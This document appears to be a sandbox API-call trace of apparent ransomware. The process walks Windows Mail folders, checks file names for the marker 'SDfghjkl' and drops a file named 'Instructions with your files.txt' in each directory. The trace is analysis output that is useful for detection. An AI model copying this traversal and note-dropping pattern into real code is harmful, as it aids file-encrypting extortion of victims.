[0132.196] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf303882f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backup", cAlternateFileName="")) returned 1
[0132.196] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 64
[0132.196] GetProcessHeap () returned 0x810000
[0132.196] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0132.196] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\*") returned 66
[0132.196] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf303882f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0132.197] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\.") returned 66
[0132.197] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf303882f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.197] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\..") returned 67
[0132.197] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="new", cAlternateFileName="")) returned 1
[0132.197] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new") returned 68
[0132.197] GetProcessHeap () returned 0x810000
[0132.197] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x88bbf8
[0132.199] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\*") returned 70
[0132.199] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0132.200] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\.") returned 70
[0132.200] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.200] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\..") returned 71
[0132.200] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x650f7e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x650f7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f2de8d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb00001.log", cAlternateFileName="")) returned 1
[0132.201] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log") returned 81
[0132.201] StrStrIW (lpFirst="edb00001.log", lpSrch="SDfghjkl") returned 0x0
[0132.201] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64e9680, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64e9680, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2ab7545, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x206000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMail.MSMessageStore", cAlternateFileName="WINDOW~1.MSM")) returned 1
[0132.201] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.MSMessageStore") returned 95
[0132.201] StrStrIW (lpFirst="WindowsMail.MSMessageStore", lpSrch="SDfghjkl") returned 0x0
[0132.201] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64e9680, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64e9680, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2fec56f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 1
[0132.201] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.pat") returned 84
[0132.201] StrStrIW (lpFirst="WindowsMail.pat", lpSrch="SDfghjkl") returned 0x0
[0132.201] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64e9680, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64e9680, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2fec56f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 0
[0132.201] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\Instructions with your files.txt") returned 101
[0132.201] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0132.201] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0132.202] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0132.202] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0132.202] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0132.202] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0132.202] CloseHandle (hObject=0x120) returned 1
[0132.202] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0132.203] GetProcessHeap () returned 0x810000
[0132.203] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x88bbf8 | out: hHeap=0x810000) returned 1
[0132.203] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="new", cAlternateFileName="")) returned 0
[0132.203] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\Instructions with your files.txt") returned 97
[0132.203] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0132.203] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0132.204] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0132.204] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0132.204] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0132.205] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0132.205] CloseHandle (hObject=0x11c) returned 1
[0132.205] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0132.205] GetProcessHeap () returned 0x810000
[0132.205] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0132.207] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd7bc3a13, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.chk", cAlternateFileName="")) returned 1
[0132.207] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk") returned 65
[0132.207] StrStrIW (lpFirst="edb.chk", lpSrch="SDfghjkl") returned 0x0
[0132.207] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd7bc3a13, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.log", cAlternateFileName="")) returned 1
[0132.207] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log") returned 65
[0132.207] StrStrIW (lpFirst="edb.log", lpSrch="SDfghjkl") returned 0x0
[0132.207] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2b29966, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb00001.log", cAlternateFileName="")) returned 1
[0132.207] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log") returned 70
[0132.207] StrStrIW (lpFirst="edb00001.log", lpSrch="SDfghjkl") returned 0x0
[0132.207] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2027392, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00001.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1
[0132.207] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs") returned 73
[0132.207] StrStrIW (lpFirst="edbres00001.jrs", lpSrch="SDfghjkl") returned 0x0
[0132.207] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2216575, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00002.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1
[0132.207] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs") returned 73
[0132.207] StrStrIW (lpFirst="edbres00002.jrs", lpSrch="SDfghjkl") returned 0x0
[0132.207] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67dcad6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="oeold.xml", cAlternateFileName="")) returned 1
[0132.207] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml") returned 67
[0132.207] StrStrIW (lpFirst="oeold.xml", lpSrch="SDfghjkl") returned 0x0
[0132.207] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x650f7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
[0132.207] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 68
[0132.207] GetProcessHeap () returned 0x810000
[0132.207] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0132.208] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\*") returned 70
[0132.208] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x650f7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0132.210] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\.") returned 70
[0132.210] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.210] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x650f7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.210] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\..") returned 71
[0132.210] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.210] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1
[0132.210] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm") returned 78
[0132.210] StrStrIW (lpFirst="Bears.htm", lpSrch="SDfghjkl") returned 0x0
[0132.210] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1
[0132.210] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg") returned 78
[0132.210] StrStrIW (lpFirst="Bears.jpg", lpSrch="SDfghjkl") returned 0x0
[0132.210] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1
[0132.210] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini") returned 80
[0132.210] StrStrIW (lpFirst="Desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.210] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x650f7e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x650f7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1
[0132.210] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm") returned 79
[0132.210] StrStrIW (lpFirst="Garden.htm", lpSrch="SDfghjkl") returned 0x0
[0132.210] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1
[0132.210] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg") returned 79
[0132.210] StrStrIW (lpFirst="Garden.jpg", lpSrch="SDfghjkl") returned 0x0
[0132.210] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="GREENB~1.HTM")) returned 1
[0132.210] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm") returned 86
